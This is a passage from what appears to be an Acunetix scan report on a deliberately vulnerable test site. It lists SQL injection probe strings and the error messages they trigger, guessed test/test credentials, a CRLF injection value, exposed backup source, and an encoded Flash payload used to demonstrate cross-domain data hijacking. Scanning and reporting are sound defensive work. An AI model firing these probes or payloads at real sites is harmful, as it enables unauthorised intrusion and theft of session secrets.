Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/artists.php

Details

URL encoded GET input **artist** was set to **1ACUSTART'"VPFKQACUEND**

Request headers

```
GET /artists.php?artist=1ACUSTART'"VPFKQACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/newuser.php

Details

URL encoded POST input **uuname** was set to **1ACUSTART'"QnmQZACUEND**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 205
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
```

```
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=euhvkuqm&uuname=1ACUSTART'"QnmQZACUEND
```

/AJAX/infotitle.php

Details

URL encoded POST input **id** was set to **1ACUSTART'"Mw7s2ACUEND**

Request headers

```
POST /AJAX/infotitle.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=1ACUSTART'"Mw7s2ACUEND
```

/product.php

Details

URL encoded GET input **pic** was set to **1ACUSTART'"6P4NQACUEND**

Request headers

```
GET /product.php?pic=1ACUSTART'"6P4NQACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infocateg.php

Details

URL encoded GET input **id** was set to **1ACUSTART'"xn5lEACUEND**

Request headers

```
GET /AJAX/infocateg.php?id=1ACUSTART'"xn5IEACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input **artist** was set to **1ACUSTART'"a0ZxpACUEND**

Request headers

```
GET /listproducts.php?artist=1ACUSTART'"a0ZxpACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/buy.php

Details

URL encoded GET input **id** was set to **1ACUSTART'"CFVHjACUEND**

Request headers

```
GET /Mod_Rewrite_Shop/buy.php?id=1ACUSTART'"CFVHjACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/details.php

Details

URL encoded GET input **id** was set to **1ACUSTART'"AIxy0ACUEND**

Request headers

```
GET /Mod_Rewrite_Shop/details.php?id=1ACUSTART'"AIxy0ACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/rate.php

Details

URL encoded GET input **id** was set to **1ACUSTART'"ou8RiACUEND**

Request headers

```
GET /Mod_Rewrite_Shop/rate.php?id=1ACUSTART'"ou8RiACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
```

```
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Web Server

Details

Cookie input **login** was set to **1'"**

Error message found:

```
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/ww
w/index.php on line 47
```

Request headers

```
GET / HTTP/1.1
Cookie: login=1'"; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/search.php

Details

Cookie input **login** was set to **1ACUSTART'"eoXwCACUEND**

Request headers

```
GET /search.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"eoXwCACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/cart.php

Details

Cookie input **login** was set to **1ACUSTART'"QS0kYACUEND**

Request headers

```
GET /cart.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"QS0kYACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/artists.php

Details

Cookie input **login** was set to **1ACUSTART'"jZxAsACUEND**

Request headers

```
GET /artists.php HTTP/1.1
```

```
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"jZxAsACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/userinfo.php

Details

Cookie input **login** was set to **1ACUSTART'"jaYpNACUEND**

Request headers

```
GET /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"jaYpNACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/guestbook.php

Details

Cookie input **login** was set to **1ACUSTART'"YcgfQACUEND**

Request headers

```
GET /guestbook.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"YcgfQACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/product.php

Details

Cookie input **login** was set to **1ACUSTART'"JP4AbACUEND**

Request headers

```
GET /product.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"JP4AbACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

Cookie input **login** was set to **1ACUSTART'"OZqPZACUEND**

Request headers

```
GET /listproducts.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"OZqPZACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Weak password

Severity	**High**
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

This page is using a weak password. Acunetix WVS was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes.

Impact

An attacker may access the contents of the password-protected page.

Recommendation

Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words.

References

Wikipedia - Password strength (http://en.wikipedia.org/wiki/Password_strength)
Authentication Hacking Attacks (http://www.acunetix.com/websitesecurity/authentication/)

Affected items

/userinfo.php

Details

Username: **test**, Password: **test**.

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=test&uname=test
```

.htaccess file readable

Severity	**Medium**
Reported by module	Scripting (htaccess_File_Readable.script)

Description

This directory contains an **.htaccess** file that is readable. This may indicate a server misconfiguration. htaccess files are designed to be parsed by web server and should not be directly accessible. These files could contain sensitive information that could help an attacker to conduct further attacks. It's recommended to restrict access to this file.

Impact

Possible sensitive information disclosure.

Recommendation

Restrict access to the .htaccess file by adjusting the web server configuration.

Affected items

/Mod_Rewrite_Shop
Details
Request headers

```
GET /Mod_Rewrite_Shop/.htaccess HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Application error message

Severity	**Medium**
Reported by module	Scripting (XSS.script)

Description

This page contains an error/warning message that may disclose sensitive information. The message can also contain the location of the file that produced the unhandled exception.

This may be a false positive if the error message is found in documentation pages.

Impact

The error messages may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Review the source code for this script.

References

PHP Runtime Configuration (http://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)

Affected items

/showimage.php
Details
URL encoded GET input **file** was set to **acu2361%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2361** Pattern found:

```
Warning: fopen(): Unable to access acu2361ï¼œs1ï¹¥s2Ê°s3Ê¹uca2361 in /hj/var/www/showimage.p
hp on line 7

Warning: fopen(acu2361ï¼œs1ï¹¥s2Ê°s3Ê¹uca2361): failed to open stream: No such file or direc
tory in /hj/var/www/showimage.php on line 7
```

Request headers

```
GET /showimage.php?file=acu2361%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2361 HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/showimage.php

Details

URL encoded GET input **file** was set to

Pattern found:

```
Warning: fopen(): Unable to access .tn in /hj/var/www/showimage.php on line 19

Warning: fopen(.tn): failed to open stream: No such file or directory in /hj/var/www/showima
ge.php on line 19
```

Request headers

```
GET /showimage.php?file=&size=160 HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input **cat** was set to

Pattern found:

```
You have an error in your SQL syntax
```

Request headers

```
GET /listproducts.php?artist=1&cat= HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/newuser.php

Details

URL encoded POST input **uuname** was set to **12345'"\'\");[]*%00{%0d%0a<%00>%bf%27'ð©**

Pattern found:

```
You have an error in your SQL syntax
```

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 225
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ufsgafhp&uuname=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
```

/listproducts.php

Details

URL encoded GET input **artist** was set to

Pattern found:

```
You have an error in your SQL syntax
```

Request headers

```
GET /listproducts.php?artist= HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Backup files

Severity	**Medium**
Reported by module	Scripting (Backup_File.script)

Description

A possible backup file was found on your web-server. These files are usually created by developers to backup their work.

Impact

Backup files can contain script sources, configuration files or other sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.

References

Testing for Old, Backup and Unreferenced Files (OWASP-CM-006) (https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004))
Security Tips for Server Configuration (http://httpd.apache.org/docs/1.3/misc/security_tips.html)
Protecting Confidential Documents at Your Site (http://www.w3.org/Security/Faq/wwwsf5.html)

Affected items

/index.bak

Details

This file was found using the pattern **${fileName}.bak**.
Original filename: **index.php**
Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTML
IsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
  <h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vulnerability Scanner</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artist
s.php">artists
       </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
       <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
       <h2 id="pageName">welcome to our page</h2>
         <div class="story">
               <h3>Test site for WASP.</h3>
         </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
```

```
      <li><a href="artists.php">Browse artists</a></li>
      <li><a href="cart.php">Your cart</a></li>
      <li><a href="login.php">Signup</a></li>
          <li><a href="userinfo.php">Your profile</a></li>
          <li><a href="guestbook.php">Our guestbook</a></li>
          <?PHP if (isset($_COOKIE["login"]))echo '<li><a href="../logout.php">Logout</a>';
?></li>
    </ul>
  </div>
  <div class="relatedLinks">
    <h3>Links</h3>
    <ul>
      <li><a href="http://www.acunetix.com">Security art</a></li>
          <li><a href="http://www.eclectasy.com/Fractal-Explorer/index.html">Fractal Explore
r</a></li>
    </ul>
  </div>
  <div id="advert">
    <p><img src="images/add.jpg" alt="" width="107" height="66"></p>
  </div>
</div>

<!--end navbar -->
<div id="siteInfo">  <a href="http://www.acunetix.com">About Us</a> | <a href="redir.php?r=i
ndex.php">Site
  Map</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wasp@acunetix.com">Co
ntact Us</a> | &copy;2004
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></html>
```

Request headers

```
GET /index.bak HTTP/1.1
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/index.zip

Details

This file was found using the pattern **${fileName}.zip**.
Original filename: **index.php**
Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTML
IsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
```

```
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
  <h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vulnerability Scanner</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artist
s.php">artists
        </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
        <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
        <h2 id="pageName">welcome to our page</h2>
          <div class="story">
                <h3>Test site for WASP.</h3>
          </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
      <li><a href="artists.php">Browse artists</a></li>
      <li><a href="cart.php">Your cart</a></li>
      <li><a href="login.php">Signup</a></li>
          <li><a href="userinfo.php">Your profile</a></li>
          <li><a href="guestbook.php">Our guestbook</a></li>
          <?PHP if (isset($_COOKIE["login"]))echo '<li><a href="../logout.php">Logout</a>';
?></li>
    </ul>
  </div>
  <div class="relatedLinks">
    <h3>Links</h3>
    <ul>
      <li><a href="http://www.acunetix.com">Security art</a></li>
          <li><a href="http://www.eclectasy.com/Fractal-Explorer/index.html">Fractal Explore
r</a></li>
    </ul>
  </div>
  <div id="advert">
    <p><img src="images/add.jpg" alt="" width="107" height="66"></p>
  </div>
</div>
```

```
<!--end navbar -->
<div id="siteInfo">  <a href="http://www.acunetix.com">About Us</a> | <a href="redir.php?r=i
ndex.php">Site
  Map</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wasp@acunetix.com">Co
ntact Us</a> | &copy;2004
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></html>
```

Request headers

```
GET /index.zip HTTP/1.1
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

CRLF injection/HTTP response splitting

Severity	**Medium**
Reported by module	Scripting (CRLF_Injection.script)

Description

This script is possibly vulnerable to CRLF injection attacks.

HTTP headers have the structure "Key: Value", where each line is separated by the CRLF combination. If the user input is injected into the value section without properly escaping/removing CRLF characters it is possible to alter the HTTP headers structure.
HTTP Response Splitting is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and cross-site scripting (XSS). The attacker sends a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response.

Impact

Is it possible for a remote attacker to inject custom HTTP headers. For example, an attacker can inject session cookies or HTML code. This may conduct to vulnerabilities like XSS (cross-site scripting) or session fixation.

Recommendation

You need to restrict CR(0x13) and LF(0x10) from the user input or properly encode the output in order to prevent the injection of custom HTTP headers.

References

Acunetix CRLF Injection Attack (http://www.acunetix.com/websitesecurity/crlf-injection.htm)
Whitepaper - HTTP Response Splitting (http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf)
Introduction to HTTP Response Splitting (http://www.securiteam.com/securityreviews/5WP0E2KFGK.html)

Affected items

/redir.php
Details
URL encoded GET input **r** was set to **ACUSTART ACUEND**
Request headers

```
GET /redir.php?r=ACUSTART%0d%0aACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Cross domain data hijacking

Severity	**Medium**
Reported by module	Scripting (XSS.script)

Description

This page is possibly vulnerable to Cross domain data hijacking. If an attacker can create/upload a malicious Flash (SWF) file or control the top part of any page he can perform an attack known as **Cross domain data hijacking**. The Content-Type of the response doesn't matter. If the file is embedded using an <object> tag, it will be executed as a Flash file as long as the content of the file looks like a valid Flash file.

Here is the attack scenario:

- An attacker creates a malicious Flash (SWF) file
- The attacker changes the file extension to JPG
- The attacker uploads the file to victim.com
- The attacker embeds the file on attacker.com using an tag with type "application/x-shockwave-flash"
- The victim visits attacker.com, loads the file as embedded with the tag
- The attacker can now send and receive arbitrary requests to victim.com using the victims session
- The attacker sends a request to victim.com and extracts the CSRF token from the response

There are many ways to perform this attack. The attacker doesn't need to upload a file. The only requirement is that an attacker can control the data on a location of the target domain. One way is to abuse a JSONP API. Usually, the attacker can control the output of a JSONP API endpoint by changing the callback parameter. However, if an attacker uses an entire Flash file as callback, we can use it just like we would use an uploaded file in this attack.

A payload could look like this:

```
<object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000
```

Impact

An attacker can read any secrets (such as CSRF tokens) from the affected domain.

Recommendation

For file uploads: It is recommended to check the file's content to have the correct header and format. If possible, use "Content-Disposition: attachment; filename=Filename.Extension;" header for the files that do not need to be served in the web browser. Isolating the domain of the uploaded files is also a good solution as long as the crossdomain.xml file of the main website does not include the isolated domain.

For other cases: For JSONP abuses or other cases when the attacker control the top part of the page, you need to perform proper input filtering to protect against this type of issues.

References

Cross Domain Data Hijacking (https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/)
The pitfalls of allowing file uploads on your website (http://labs.detectify.com/post/86302927946/the-lesser-known-pitfalls-of-allowing-file-uploads)

Affected items

/hpp/params.php
Details
URL encoded GET input **p** was set to **CWS%07%0e000x%9c=%8d1N%c3%40%10E%df%ae%8d%bdl%08)%d3%40%1d%a0%a2%05%09%11%89HiP"%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;!S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2Jj)%93"%dbT7%24%9c%8fH%cbD6)%a3%0bx)%ac%ad%d8%92%fb%1f%5c%07C%ac%7c%80Q%a7Nc%f4b%e8%fa%98%20b_%26%1c%9f5%20h%f1%d1g%0f%14%c1%0a]s%8d%8b0Q%a8L<%9b6%d4L%bd_%a8w%7e%9d[%17%f3/[%dcm{%ef%cb%ef%e6%8d:n-%fb%b3%c3%dd.%e3d1d%ec%c7%3f6%cd0%09**. The value is reflected at the top of the page.
Request headers
